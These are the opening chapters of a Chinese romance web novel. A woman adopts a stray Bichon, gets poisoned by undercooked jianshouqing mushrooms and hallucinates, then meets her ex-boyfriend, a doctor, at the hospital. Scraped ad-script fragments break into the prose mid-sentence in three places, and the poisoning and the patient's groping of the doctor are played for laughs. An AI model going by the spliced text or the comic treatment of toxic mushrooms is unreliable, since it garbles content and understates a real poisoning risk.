《食菌小记[破镜重圆]》 1. 陈见青 “叮叮叮——” 宋南汐抬手关掉闹钟,眼都没睁就坐起来,循着肌肉记忆下床开门。 白色比熊早就乖乖守在卧室门口,不吵不闹,但一见宋南汐就开始围着她摇尾巴,还朝她叫了两声。 宋南汐站在原地揉了揉惺忪的眼睛,有些被迫起床的烦躁。 好不容易放假,还要被迫早起。 直到眼前渐渐清晰,她低头看见在她脚边蹭来蹭去的狗狗,仰头看着她,眼睛亮亮的,叫人一颗心都化了,一点起床气都发不出来。 她认命地弯腰抱起脚边狗狗,“走吧,带你去吃饭。” 比熊朝她笑着吐舌头,凑上来用湿漉漉的鼻头蹭了蹭她的下巴。 宋南汐找到昨天宠物医院给的临时过渡粮倒在碗里,换好新水,然后将比熊放在饭碗前,“吃吧。” 话落,小比熊开始大口大口的享用,狼吞虎咽,像是没吃过饭一样。 那股莫名的烦躁瞬间被心疼和怜爱取代。 这只比熊是她前两天下班路上捡的,当时已经是深夜,冷风中还飘着细雨,它就小小一只缩在她车底躲雨避风,宋南汐发现它的时候,本想将它驱赶走,谁知它竟朝她跑过来,前脚立起来不断朝她做着一个鞠躬的姿势,目光恳切地看着她,看起来无助又可怜。 看着它熟稔的讨好姿势大约是曾被人圈养训练过的。 宋南汐也不知道怎么了,看见这只狗莫名想起了自己的闺蜜,于是鬼使神差地将它抱回了家。 第二天带着它去医院检查身体,幸好只是营养不良。 应该是被人遗弃了很久,它整只狗看起来脏兮兮的,瘦瘦弱弱的,只有两斤多,还是洗完澡后才看出它原本的样子——一只秀气可爱的比熊。 很瘦,几乎只剩骨架子,很会察言观色,懂事地让人心疼。 自从将它捡回来,它每天早上都会守在宋南汐卧室门口,即使再饿也不吵不闹,为此宋南汐专门定了闹钟专门固定时间喂它。 她摸了摸比熊的小脑袋,“慢点吃,都是你的。” 三下五除二就将饭碗扫荡一空,宋南汐给它擦了擦嘴,看着它亮晶晶的眼睛忽然想起它还没有自己的名字。 “给你取个名字,好不好?” 比熊朝她叫了两声,乖巧地坐在地上一脸期待。 与其他的狗狗不太一样,自她捡回来这些天里,这只比熊从不大声叫喊吵闹,也不拆家,即使饿了或者想出去玩也从不会表现出来,就像个会吃喝拉撒的手办一样。 所有的想法都闷在心里,从不让外界知晓,每每宋南汐都只能靠比熊的眼神或身体反应来猜测它是否喜欢或者它想做什么。 这让宋南汐无端想起一个人来,也是这样一个闷葫芦。 “青青,”她笑起来,温柔地摸了摸比熊的脑袋,征求它的意见,“以后你就叫青青,好不好?” “汪汪汪!” 青青欢快地摇了摇尾巴,表示它对这个名字的满意。 过渡粮已经所剩无几了,宋南汐必须得给它去采购一点新的狗粮。 自从对狗脱敏后,她也是第一次养狗,没什么经验,不过还好,她认识一个经验无比丰富的人。 这么想着,于是她去卧室找到手机,拨出一个电话。 短暂的嘟声后,电话里传来一道沙哑的男声,“什么事?” 宋南汐仔细看了眼通话对象,蹙眉道:“宋砚舟,你跟三水在一起?” 听筒里传来一声含糊的呢喃,有些娇嗔:“宝贝,谁呀?” “……” 听着自己的亲闺蜜叫自己的亲弟弟宝贝,宋南汐此刻的心情难以言喻。 “我姐。” 伴随着话音落下,宋南汐隐约间还听到模糊的打啵的声音。 “……宋砚舟,你注意点。三水才——” “刚刚出院”几个字还没说完,电话没了声音。 电话被挂断了。 宋南汐:“……”以前怎么没发现宋砚舟这么欲求不满呢。 无言片刻,她只能给闺蜜江淼发微信留言:【睡醒给我回电话。】 直到临近中午的时候,江淼才给她回过来电话,声音听起来有些疲惫。 宋南汐委婉提醒道:“三水,你才刚出院,身体还没完全恢复,别总是事事顺着宋砚舟,把自己放在第一位,知道吗?” “知道啦,”江淼有些感动地吸了吸鼻子:“我就知道你最爱我。看来这个对象没找错。” 宋南汐哭笑不得:“你到底是看上我还是看上我弟了?” “当然是看上你了,”江淼笑着回她,又问:“汐汐,今天打电话是有什么事吗?” “啊对,是有件事。”宋南汐说:“我前两天捡了只狗。” 她措辞尽量委婉:“你不是挺有经验的吗?我就是想问问什么牌子的狗粮和零食比较好吃。” “……你不如问,我喜欢吃什么狗粮和零食。” 宋南汐不好意思地嘿嘿笑了两声:“所以,你喜欢吃什么呀?” 江淼无语凝噎,“宋砚舟之前买的还有存货,一会儿我都给你邮过去吧,应该明天就到了。” 宋南汐讨好地笑了两声:“三水,我最爱你了。” 江淼“嘁”了声,“我看你爱的另有其人。” 宋南汐立马反驳:“胡说,我对你情比金坚!” 江淼意味深长地“哦”了声,“那你亲爱的陈医生怎么办呀?” 宋南汐不说话了。 江淼:“汐汐,说实话,这次去江临,其实是因为陈见青在那里吧。你一直都没忘掉他,是吗?” “没有……”宋南汐的声音有些低,明显底气不足。 “你的老板明面上是重用你,把你派到江临那个空壳公司做总监,其实根本是在架空你,逼着你自己辞职,连我都能看出来,你肯定更清楚,之所以没辞职,是因为江临这个地方很特别——” “——那里有你一直念念不忘的人——陈见青。” 随着江淼尾音落下,心底紧绷的那根琴弦铮然一响,回音余荡,震得她耳边嗡嗡作响。 “汐汐,”江淼叹了口气,“如果一直忘不掉,不妨去试试。或许……念念不忘,必有回响 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” 念念不忘,必有回响吗? 宋南汐眼神暗了暗,好半会儿才找回自己的声音,“算了吧。没有我他过得很好。” 江淼惊讶:“你们见过面了?” “没有。” 江淼:“那你怎么知道他过得好?” 宋南汐说的斩钉截铁:“我就是知道。” 听筒里静默片刻,听见江淼叹了声,语重心长道:“汐汐,爱会让一个人变得胆怯,但勇敢才会有故事。你想想大学时候哪个男人不败倒在你的石榴裙下,就连医学院有名的高冷男神陈见青也不例外。曾经不例外,或许现在也不例外呢?” 提起大学时期,宋南汐更没勇气去见陈见青了。 大学时的她可谓是风光无限,不仅在全院甚至在全校都很有名,除了她出彩的样貌外,还有她换男朋友比换衣服还勤快的速度。 只要她看上的几乎没有拿不下的。 毕竟长得漂亮,身材也好,学习也是名列前茅,学校社团的各种活动中频繁都能看到她的身影,性子有趣,脾气也好,就像那种本应挂在墙上仅供观赏的画突然拟人化了一样。 很难有人会抗拒她的吸引力,但陈见青是个例外。 陈见青是第一个毫不犹豫拒绝宋南汐表白的人。 情场一片坦途的宋南汐生平第一次撞了南墙,她不服,死缠烂打各种招数用尽,那南墙终于倒了。 但情到浓时,宋南汐在他们的热恋期提出了分手。 当时的分手场面可以说是惨烈,以至于即使同处一个城市,她也不敢再去见陈见青一面。 宋南汐借口忙工作挂了电话,她怕再聊下去,她会失控。 好不容易整理好自己,说服自己,一点点用缰绳将自己的心缠绕的严严实实,可只要每每提到或是想到他,绳子便会松上几分。 现在缰绳摇摇欲坠,心脏快的有些不正常,在身体里横冲直撞,撞得她眼前一阵阵发黑。 她缓缓蹲在地上,抓着阳台的栏杆,止不住地发晕,一片温热攀上她的手指。 “青青。” 宋南汐声音有气无力,“拿一下桌子上的糖。” “哒哒哒”一阵脚步声,很快一颗糖递到她手里,宋南汐剥开糖纸,塞进嘴里。 甜甜的草莓味在唇齿之间化开,缓了好一会儿,晕眩感才渐渐褪去。 青青担心地朝她叫了两声,宋南汐直接坐在地上,将它抱在怀里,安慰:“没事,我没事,低血糖而已。” 青青哼唧着蹭上来舔了舔她的脸颊,宋南汐抬手一抹,已经分不清是它的口水还是自己的泪水。 低血糖而已,又不是没犯过,有什么好哭的。 她一边在心底唾弃自己的软弱,一边眼泪止不住地掉。 陈见青这个名字疯狂地在脑海里乱窜,尘封的记忆源源不断地回溯脑海。 她不止一次地想,如果再次见到他,能够体面地说一句好久不见已经是知足了。 毕竟,没有谁会对曾经深深伤害过自己的前任念念不忘。 所以,他们之间就连体面的再见都是一种奢侈。 2. 菌子中毒 第二天中午的时候,青青的口粮告急,江淼寄来的快递准时地送上了门。 宋南汐签收完,拿来快递刀拆开包裹,青青就坐在一边乖巧地看她拆快递。 除了狗粮和一些零食外,还有一堆冰袋,被冰袋包裹着的是一袋蘑菇还有一只脱了毛的鸡。 要不是那堆狗粮,宋南汐差点以为收错包裹了,正要打电话给江淼时,一条微信消息跃进屏幕: 【那袋蘑菇是见手青,宋砚舟出差带回来的,跟那只鸡放进锅里一起炖一炖,味道超级鲜美,超级好喝!】 紧接着,对面又发来一张照片,金黄色的汤底还漂着一层漂亮的油花,很有食欲的一张成品照片,让人垂涎欲滴。 三水:【这是宋砚舟下厨刚炖好的,味道超级不错,你快试试!】 三水:【奥对,你先上网查查做法,见手青有毒,做不好的话可能会见小人。】 三水:【实在不行,开视频让宋砚舟指导一下,他做饭天赋真的一流!】 宋南汐:…… 看不起谁呢,都是一个娘胎里出来的,谁还不是个新东方了。 不就是个小鸡蘑菇汤,这能有什么难度。 宋南汐抬头看了眼窗外,阴沉沉的天气,很适合煲汤。 说干就干,她先拿出崭新的菜刀将那只鸡大卸八块,然后拿出手机打开某视频平台,开始搜索见手青炖鸡汤的方法。 正看得入神,手机上突然跳出一个电话,接通,传来一道吊儿郎当的声音:“宋总,中午能有幸请你一起吃个饭么?” “……路清柏,你说话正常点。” “大忙人,都约你一个月了,一顿饭都约不出来。”路清柏抱怨。 宋南汐辩解:“我平时忙的跟狗一样,你不是知道吗?” 路清柏妥协,“行,都一个月了,就算排队也轮到我了吧?”不等宋南汐回答,他又补充道:“我可跟你助理打听过了,你这周休假。” 宋南汐看着案板上的食材沉思片刻,问:“路清柏,要不你一会儿来帮我试个毒?” “?” 宋南汐解释道:“我准备炖一锅小鸡蘑菇汤,你有幸成为第一个品尝的人。” 路清柏:“……我想知道,食材有没有过期?” “……新鲜的,今天刚到的食材。” 察觉到宋南汐语气里的无语,路清柏沉沉笑了声。 也不怪他突然问这么一句,之前也是这样的情况,宋南汐难得休假一天宅在家里不想出门,午饭随便泡了桶在角落里落灰的泡面。 当天就上吐下泻,幸好被路清柏及时送进了医院。 回家一查才知道那桶泡面早就过期三年了。 宋南汐问:“路清柏,你愿不愿意为了大义献身一次?” “成,你等着,爷半个小时后就来为你献身。” “……” 经过这么多年的洗礼,宋南汐已经可以面不改色自动过滤路清柏那些不太正经的话了。 撂了电话后,宋南汐放下手机,挽起袖子,挥起菜刀,对着那堆鸡的碎尸块和蘑菇跃跃欲试。 她从杂物间找出一台有些落灰的小型电子秤,专门用来称重料汁。 鉴于第一次做,预防失败浪费食材,她只取了一半鸡和一半蘑菇。 她相信只要跟视频里展示的保持一致,每一步甚至精确到克重,她就能做出跟视频里一比一复制的小鸡蘑菇汤。 过程进行得很顺利,不断传来的香气让宋南汐忍不住流口水。 她颇为自得地感叹,她只是不轻易下厨,一下厨就是厨师长的实力。 宋南汐没忍住先舀了一勺汤,那味道鲜的让人飘飘然的,她甚至觉得比饭店里的有过之而无不及。 青青蹲在一旁,哈喇子明明流了老长,却叫都不叫一声。 宋南汐偏头看了眼脚边的狗狗:“青青乖,一会儿让路清柏试试毒再给你喝。” 刚落话音门铃就响了,她去开门,迎面就见一头红毛钻了进来。 “哎哎哎,稍等,你哪位——”话音未落,她就看清了红毛的主人。 一头红色狼尾发型,左耳戴着一枚黑色耳钉,张扬的眉眼与那显眼的发色甚是相配,笑起来的时候甚至有些痞气,他帅气地扬了扬头,“怎么样,哥的新发色,酷吧?” 宋南汐赞同地点了点头,又问:“怎么想起染头发了?” 路清柏“啧”了声,“不觉得之前那头黑色看起来太乖了吗?” 乖?单从他这张脸来看,就跟乖这词沾不上边。 还不等宋南汐发表评价,就听见路清柏又道:“自从换了这头新发色,集团里那群老东西都很少给我找麻烦了。” “汪汪汪!”青青跑过来,挡在宋南汐面前,仰头一脸敌视地盯着路清柏。 宋南汐把它抱起来安抚,“青青乖,这是姐姐的朋友。” 路清柏有些稀奇:“什么时候养的狗?” “前两天刚捡的。” 他抬手想摸摸,被狗狗凶狠的吼叫吓得缩回了手,“真是虎母无犬子!一个赛一个的凶!” 宋南汐将青青放到地上哄它自己去玩,青青就乖乖地去玩自己的玩具了。 “不错,凶点也好,护主。” 宋南汐一边给他找一次性拖鞋一边纠正道:“第一,青青虽然是我捡的,但人家有自己的妈妈,第二,你可以称呼我为青青姐姐。” “行行行,青青姐姐!”路清柏换好鞋就迫不及待往厨房钻:“一进门就闻到香味了。汤呢?汤呢?让哥来给你试试毒。” “等着。” 宋南汐给他盛了一碗鸡汤,端着碗在他面前晃了一圈,神秘道:“香吧?这可是我的秘制鸡汤。” 路清柏接过碗,凑近闻了闻,确实香气扑鼻,他警惕地看了眼一脸期待的宋南汐,“越香的东西毒性越高,你不会在里面下毒了吧?” 宋南汐无语地翻了个白眼,作势就要去夺他手中的碗,却被路清柏巧妙的避开:“哎呀哎呀,别生气嘛,我尝我尝。” 路清柏浅浅尝了一口,细细品味后,又喝了一大口。 他有些意外,挑眉问:“你去新东方进修了?” 宋南汐自动将他的调侃看作褒奖,毫不谦虚道:“没办法,本人天赋太高,与生俱来的技能。” 整整一锅鸡汤,宋南汐就喝了两碗,剩下的全进了路清柏的肚子,青青一口也没分到,蹲坐在那有些幽怨地盯着大快朵颐的路清柏。 吃饱后的路清柏仰头靠在椅背上,偏头看了眼地上的狗,疑惑问:“你盯着我干什么?” “因为你喝了我的汤。” 低沉的有些阴森森的语气,让路清柏蓦地一顿,他掏了掏耳朵,以为自己幻听了。 他又低头看地上的狗,亲眼看着那只狗狗张着嘴巴,依旧是刚刚一模一样的语气和声音,带着浓浓的嫌弃: “猪都没你能吃!” “!” 路清柏蹭地站起来,震惊地看着地上嘴巴一张一合的狗,“你你你——” “你什么你!不知道用手指狗不礼貌吗!” 听见这话路清柏的手都抖了。 宋南汐收拾完碗筷从厨房出来的时候,就见到一人一狗在客厅对峙,她有些好笑地走过去,“你俩大眼瞪小眼的干嘛呢?” “我靠!”路清柏指着地上的狗,语气依旧难掩震惊:“这玩意竟他妈的会说人话!” 宋南汐皱了皱眉,“路清柏,你没事吧?说什么胡话呢!” “是真的!他真的会说人话!”路清柏焦急地想要证明,对着地上的狗道:“你,把刚刚的话跟她重复一遍。” 话落,路清柏亲眼看见地上的狗用非常不屑鄙夷的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眼神看了他一眼,声音又跟刚刚不太一样,像是变了形,有点外星人的腔调,“切”了声: “野猪吃不了细糠,汤给你喝了都浪费,不如给我喝。” 路清柏瞪大了眼,连人都不敢当着面骂他,现如今他竟被一只狗当面羞辱,气急了,想也不想,反口就跟狗骂了起来:“你他妈才是野猪!” “你妈才是野猪,我妈是狗!” “靠!你才是野猪,你全家都是野猪!” “再说一遍!我全家是狗,祖上三辈都是狗!” “……” 宋南汐看着魔怔似的跟狗对骂的路清柏,抬手就是一巴掌呼到路清柏脑袋上。 “啪”地一声脆响,世界瞬间安静下来,宋南汐观察着路清柏的反应,看着他愣怔的神色,小心翼翼道:“那个……路清柏,你没事吧?清醒了吗?” 路清柏缓缓扭头对上她的眼睛,指着地上的狗,满脸的不可置信:“你真没听到它说话?” 宋南汐垂眸看了眼地上的狗狗,乖巧地坐在那,吐着舌头朝她笑,有点重影,她眨了眨眼睛,还是有点重影。 宋南汐晃了晃脑袋,但在路清柏的视角却像是她摇了摇头。 得到否定的回答,路清柏顶着一脸世界观崩塌的表情,好半会儿才发出声音:“卧槽!老子什么时候能通灵了?!” 宋南汐拧了拧眉,重重揉了两下眼睛,重新去看地上的狗,这次没有重影了,狗狗还是吐着舌头朝她笑,还朝她叫了两声。 声音是那种有些甜甜的少年音:“姐姐!” “!”宋南汐一副见了鬼的表情,她扯了扯路清柏的衣角,“完了,我好像也通灵了!” 俩人缓缓扭头对视一眼,又不约而同地去看地上的狗狗。 下一秒,两人几乎同时出声: “它骂我!” “它说喜欢我!” 路清柏不服,低头恶狠狠地盯着地上的狗,“你踏马凭什么骂老子?!” “你欠骂!” 简简单单三个字直接把路清柏气红温了,从小到大都一直在别人的追捧和赞扬中长大,哪能受得了这委屈,当即就撸起袖子准备跟那只还没自己小腿高的比熊干一架。 宋南汐及时制止,非常明智地做出了判断:“路清柏,咱俩可能得去趟医院。” 仅剩不多的理智让路清柏忽然意识到了什么,震惊:“你真踏马给老子下毒了?” 宋南汐有些模糊地想起江淼当时的叮嘱,她的语速有些慢吞吞的:“可能……煮的不够久,没熟。” 话音刚落,耳边响起“砰”地一声闷响,好像有什么东西砸在了地上。 宋南汐眼前的世界变得有些奇怪,桌子和椅子飘在天花板上,上面坐着两个俊美的长腿西装男人,房间变得有些扭曲,窗户边的绿萝变成了绿色长发的美女,像个漂亮的绿色精灵坐在窗边跟她打招呼。 眼前失真的世界让宋南汐迟来的意识到,她和路清柏可能是中毒了。 当务之急,是得先去医院。 她努力地环视一周,发现所有的家具都拟人化了,或高大威猛,或低沉冷肃,或活泼好动,或青春洋溢,耳边一道道交杂的声音甚至有些聒噪。 就是没找到路清柏的身影。 她又低头去地上找,闭了闭眼,怀疑是自己看错了。 她竟然在地上看见两只一模一样的青青! 重新睁开眼睛,地上还是蹲坐着两只青青,有些失真,一只变得半人高,一只变得手机般迷你。 宋南汐分辨不出路清柏的位置,也不知道他现在在这个家里充当什么角色,只能出声叫他,“路清柏,你在哪,出个声。” “我在这。”那只半人高的青青张了张嘴。 宋南汐迅速锁定他的位置,一手拽着他,一手捞起空中飘着的手机,逃似的出了门。 3. 食人花 宋南汐觉得中毒后的自己简直力大如牛,一把就扛起了一米八八的路清柏,直直奔向路边的出租车。 急赤白脸地坐上车,宋南汐把一脸狗样的路清柏放到自己座位旁,给他系好安全带,又系好自己的,然后对着司机师傅焦急道:“去最近的医院,麻烦您开快点,我和我朋友中毒了。” 司机师傅是个胖胖的中年男人,脑袋上长着一颗绿色的小草,不说话也不开车,盯着她的眼神有些奇怪。 不知是不是自己太敏感,那目光让她很不舒服,她脸色冷下来,有些吓人,语气也有些冷,却仍维持着基本的礼貌:“麻烦您开快点,送我们去最近的医院。” 司机终于开口,“去什么医院?” 宋南汐不耐地重复:“去最近的医院,麻烦快点。” 司机收回目光,终于启动了车。 眼前一阵阵头晕目眩,宋南汐有点想吐。 她一边忍着恶心,一边安慰身边顶着一身巨大狗皮的路清柏:“没事啊,你别担心!等一会儿去医院解了毒,你就能恢复成人了。” 前方的后视镜里再次传来司机奇怪的目光,这次宋南汐恶狠狠地瞪了回去。 没一会儿就到了医院,宋南汐拿着手机扫码,“多少钱?” “八块五。” “滴”声过后,宋南汐输入金额、指纹付款,一气呵成,然后解开安全带,扛着路清柏就要下车。 这个司机主动给他们打开车门,甚至热情地要亲自送他们去医院。 可能是中毒的原因,宋南汐的警惕性异常地高,对于刚刚路上司机奇异的目光她非常介意,所以她毫不犹豫地回绝了司机。 没想到司机竟然不放弃。 她扛着路清柏往医院走,那个司机就在身后跟着他们。 宋南汐的脚步不禁加快了几分,刚迈进医院大厅,眼前仿佛换了个世界。 五彩缤纷,光怪陆离,到处都是洞穴,还有穿着白色大褂子的癞蛤蟆以及戴着粉色帽子的青蛙。 叽叽喳喳的,一阵阵耳鸣。 她甚至不知道该往哪走,不知道该向谁求助,心中升起巨大的无助感,鼻子一酸,她站在原地哭着大声喊道:“来人啊,救命啊!我朋友中毒变狗了!” 这一哭,耳朵边瞬间清净下来。 一个戴着护士帽的巨大青蛙朝她一跳一跳蹦过来:“女士,我们医院不允许带狗进入的。” 宋南汐看着青蛙脑袋上的护士帽,凭借常识判断她应该是护士,像是抓住了救命稻草般,紧紧抓着青蛙的前爪,哭着说:“他不是狗啊,他是我朋友路清柏。” “你救救他,他是因为菌子中毒才变成狗的。” 护士眨了眨眼,皱眉打量着面前鼻涕一把泪一把的女孩。 目光看向她口中因为中毒变成狗的朋友路清柏——那是一只纯白色的有些瘦弱的小比熊犬,女生左手还握着一把长柄汤勺。 护士正要开口,迎面走来一个中年男人,穿着出租车工作服,开口便道:“护士,这个姑娘可能精神有点问题。” 宋南汐看见这个脑袋上长着一根草的司机就来气,大声道:“你才是精神病!” 司机看起来很和善,并不与所谓的精神病人计较无礼的问题,他跟护士解释道:“这个姑娘在路边拦了我的车,一上车就抱着那只狗说是她朋友,还说中毒了,最后下车付车费的时候还拿着那个汤勺象征性地扫了我的码。” 司机很认真地建议:“护士,你们可以把她送去精神科抢救一下。” 宋南汐听见这个奇怪司机的话,下意识去看自己左手上的手机,哪里还是手机,简直变成了一个长勺形状的大哥大。 她又缓缓去看自己怀里抱着的路清柏,哪里还是一米八八大高个,已经成了一只迷你版的比熊小手办。 宋南汐愣住,整个人彻底慌了。 如果她怀里的是真的青青,那……路清柏在哪? 随着左手一松,不锈钢汤勺滚落在地,在医院大厅发出响亮的一声“哐当”。 尖锐的声音让宋南汐的思绪也清明了些,仅剩不多的理智短暂回笼,眼前阵阵晕眩,她抓着面前的青蛙,一字一顿缓慢道:“华盛家园3栋2单元801,我朋友菌子中毒了,麻烦快去救他。” 说完,眼前彻底陷入黑暗。 - 护士陈春月本来在医院门口做导诊,结果屁股都还没坐热就来了一例菌子中毒患者。 确切地说,不止一例,她还按照患者留下的地址紧急叫了救护车把另一个已经陷入昏迷的患者拉了过来。 那位男性患者明显比较严重,一拉到医院就紧急安排了洗胃。 江临并非菌子大省,所以他们医院没有设立专门处理菌中毒的部门,因为一年到头接收到的菌子中毒的患者也不超过10个。 虽然医院在这方面的经验不多,但医院到是有个见多识广的六边形战士曾经在菌子大省工作过,甚至还学习交流过这方面的知识。 于是陈春月马不停蹄地给这位六边形战士打了个电话。 电话被接通后,陈春月急忙道:“陈医生,医院来了两例菌子中毒的患者,已经开始出现神志不清了,不确定吃了什么菌种,您能来帮忙会诊一下吗?” “位置。”男人声音有些微哑。 “在三楼急诊室。” 挂完电话后,陈见青利落起身。 睡在对面的曾岳被电话吵醒也睁开眼,声音也有些哑:“出什么事了?” 陈见青穿上工作服,言简意赅:“来了两个菌子中毒患者。” “菌子中毒!”听见这话,曾岳整个人都精神起来,“那是不是见小人了?” 陈见青:“应该是,听说已经神志不清了。” 做了一夜手术的曾岳也不困了,从值班室的床上蹭地坐起来,同样麻利地穿好衣服,“一起去。” 曾岳一边穿鞋一边道:“今年都过去大半年了,我还以为不会有这种患者出现了,结果这一下就出现俩。” 陈见青了解这人的尿性,宁愿牺牲宝贵的休息的时间也要跟去会诊,根本不是想要学习一下。 果然,下一秒就听见这厮笑着说:“走走走,一起去看看乐子。” 陈见青:“……” 值班室在四楼,两人下了楼几步路的距离就到了急诊室门口。 急诊室的病床前围了一圈护士医生,从陈见青的角度看过去,只能隐约看到病人的后脑勺。 患者抱着病床旁的护士,声音听着很娇:“蛙姐姐,你漂亮!汐汐喜欢你。” 有几个实习生应该是第一次亲眼见到菌中毒致幻的病人,稀奇地凑上去七嘴八舌地问:“那我呢?我是什么?” 患者显然已经神志不清,具体表现为:指着护士叫青蛙,指着医生叫癞蛤蟆。 曾岳听见里面人的对话,也按耐不住地挤上前:“来来来,给我也瞧瞧!” 陈见青也跟着走了进去。 一见陈见青来,大家都自觉闪出一条道来,有几个医生是他正在带的实习生之一,不约而同道:“陈教授。” 陈见青微微点头回应,问陈春月:“另一个患者呢?” 护士陈春月说:“另一个被紧急送去洗胃了。” “这个什么情况?”陈见青朝那颗死死埋在陈春月腰间的脑袋抬了抬下巴。 陈春月试图掰开腰间那双手,奈何这人力气出奇的大,根本掰不开,索性放弃,她道:“呕吐过两次,精神错乱。” 曾岳左瞧右瞧就是看不见这患者的脸,及肩的发丝垂在一侧挡了个严严实实。 他蹲下去瞧,这一看把他吓了个趔趄,直接坐到了地上。 “卧槽?” 他没忍住缓缓爆了个粗口。 一个实习生非常有眼力见地上前扶起曾岳。 众人都不明所以地看向一脸惊愕的曾岳,陈春月问:“曾医生,您怎么了?” 曾岳一副见鬼的表情,“我好像……看见我表妹了。” 陈见青向来不动如山一脸淡然的脸上微不可察地皱了皱眉:“哪个表妹?” 曾岳去掰陈春月腰间那颗脑袋,抬起患者的下巴,正对着陈见青的方向。 猝不及防地,就撞进了那双熟悉的漂亮的眸子里。 明亮的日光下,那双琥珀色的眼珠澄澈干净,像极了他家里展柜上的那对琥珀琉璃珠,眼尾微微上挑,看着你的眼神明媚又多情。 明明是一张冷心冷情的长相却装上了一双看起来很会爱人的眼睛,给人一种极易亲近的错觉。 十足的伪装,极具欺骗性。 他曾被这双眼睛欺骗过不止一次。 宋南汐从陈春月的腰间抬起头,就那么如痴如醉地仰头看着陈见青,呆呆地,有些傻气。 曾岳一脸愁容地挡在陈见青跟前,微微弯腰跟宋南汐对视:“吃菌吃傻了?” 宋南汐害怕地往陈春月的腰间缩了缩脑袋。 曾岳皱了皱眉,强硬地把宋南汐的脑袋掰正:“能认出我不?” 宋南汐看起来更加害怕了,缩着脖子。 曾岳扯出一个微笑,尽量让自己看起来和善一点,凑近了点,声音也更加柔和:“再仔细看看,能认出我是谁吗?” 宋南汐仔细看着他,好一会儿才怯怯开口:“一个看起来会吃人的癞蛤蟆。” “……” 身后不知道是谁没憋住笑,“噗嗤”一声,引得在场的人都笑起来。 曾岳冷冷一记眼刀看向那个笑得最欢的人,阴森森开口:“苟杞,一会儿来我办公室一趟。” 被叫苟杞的男生立马笑不出来了,脸一垮,“老师,我错了。能不能不罚抄书?” “晚了。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>曾岳下完宣判,直起身,往一旁错开几步,把身后一直杵在那的陈见青推上前,一脸看热闹的表情:“他呢?他呢?能认出他是谁吗?” 陈见青面容冷肃,沉的都要滴出水来,比平时上课训话时还要吓人,在场的实习生都没人敢说话,更别提看热闹了。 但在宋南汐目前完全失真的世界里完全是另一回事。 在一众的青蛙癞蛤蟆中,宋南汐突然看见一朵花,一朵她从未见过的非常漂亮的花。 花瓣层层叠叠,每一层都是不同的色彩,像一朵闪着光芒的彩虹花。 她最喜欢收集漂亮的东西。 一看见陈见青,宋南汐的眼睛似乎都亮了几分,除了对美的欣赏外,更多是一种对猎物势在必得的坚定。 或许是因为看见美的事物,刚刚一直抱着陈春月不撒手的宋南汐愣愣放开了手,痴痴仰望着面前冷若冰霜的人,声音带着几分惊喜:“好漂亮的花!” 曾岳看见自己这不争气的表妹就有些恨铁不成钢,不论过了多少年,还是那副死样子。 一看见陈见青就走不动道,就算中了毒也不例外。 曾岳不满地吐槽:“喂!过分了啊!凭什么他是花我就是癞蛤蟆?!” 宋南汐的注意力完全在这朵花的叶子上,看起来与其他的花叶不太一样,圆润饱满多汁,让人忍不住想上手就捏捏。 她向来是个执行力很强的人,于是想也不想,伸手就抓了上去。 于是众目睽睽下,只见宋南汐突然把手放到了陈医生的屁股上,甚至还捏了两下。 在场的医生护士被这突如其来的举动惊住了,谁都没反应过来时,始作俑者极快地收回了手。 摩挲着手,眯了眯眼,似是在回味,呲着牙笑的心满意足:“手感可真好!” 曾岳率先反应过来,看着脸黑成锅底的陈见青,立即提声教育道:“宋南汐!你怎么能吃人豆腐呢?!这样是不对的,你快跟人家道歉!” 宋南汐被吼地莫名其妙,她拧眉看了眼一旁的癞蛤蟆,声音聒噪又难听,不耐道:“安静点,烦死了。” 曾岳:“……” 宋南汐又抬头去看那朵漂亮的彩虹花,安静地伫立在那里。 不过一眨眼的功夫,那朵花的花瓣竟已不似刚刚那样舒展绽放,像是含羞带怯的女儿家一样,层层花瓣聚拢在了一起。 她暗暗地想,花身都这么漂亮,不知道花蕊是不是也是这么漂亮。 她想把这朵花采回家收藏起来。 她不仅喜欢收集漂亮的事物,对未知的神秘更有一种奇怪的探索欲。 曾岳看着宋南汐盯着陈见青直勾勾的眼神有些不怀好意,直觉告诉他宋南汐肯定在打什么坏主意。 他必须做点什么未雨绸缪一下。 他前脚刚迈出去,只见病床上坐着的人突然站了起来,然后精准无误地揪住了陈见青的头发。 曾岳吓了一跳,赶紧手忙脚乱地上前去拽宋南汐,“祖宗!快放手啊!” 曾岳拽她的衣服越用力,宋南汐扯陈见青的头发就越用力。 眼看着陈见青的脸色愈加阴冷,脾气已经到了爆发的临界,好像下一秒就会真的变身凶恶的食人花了。 众人反应过来也赶紧七手八脚地去阻止,奈何宋南汐就是抓着不放。 陈见青深吸了口气,冷冷抬眼,咬牙道:“宋南汐,放手。” 彩虹花说话了! 清冽的嗓音莫名有些熟悉,很好听的声音,就是有点凶。 宋南汐缓缓垂眸,寻找那道声音的来源,似乎是从花蕊中心发出的。 刚刚聚拢严实的花瓣开始慢慢舒展开,还冒着冷气。 她怔怔盯着花瓣中心瞧,想看看里面是什么样的,手上的力道也无意识放松了许多。 头发上的手渐渐松开了些,压着他的发顶,陈见青彻底没了耐心,抬手攥住那节藕白的腕骨,扯下来,毫不留情一甩。 那力道实在称不上怜香惜玉,甚至是有些粗暴。 在场的医生护士噤了声,倒吸了一口凉气,他们第一次看见平日里一脸高冷淡然的陈见青这么生气。 即使是面临难缠闹事的患者家属,陈见青也从没这么粗鲁地对待过任何病患。 宋南汐被甩了个趔趄,跌坐在床上。 面前的彩虹花骤然张开巨大的花瓣,花瓣中心是一张鲜血淋漓的大嘴,密密麻麻的牙齿对着她一张一合,声音冷到了冰点,隐隐带着怒气: “宋南汐,看清楚对象再发疯!” 宋南汐当即被吓得哭了出来,紧紧抱住一旁的护士,呜咽道:“呜呜呜,好可怕,食人花。” “……” 曾岳默默在心里为自己的表妹点了根蜡烛。 不仅摸老虎屁股,还拔了几根老虎毛。 这下是彻底把老虎给惹毛了。 4. 初见 宋南汐好像陷入一场绵长的梦境。 大四上学期,宋南汐正在准备实习,投了几份简历出去,被一家很有名的金融公司录用为实习助理。 入职前天,正碰上她的表哥曾岳过生日,组了个局,邀请她去热闹一下。 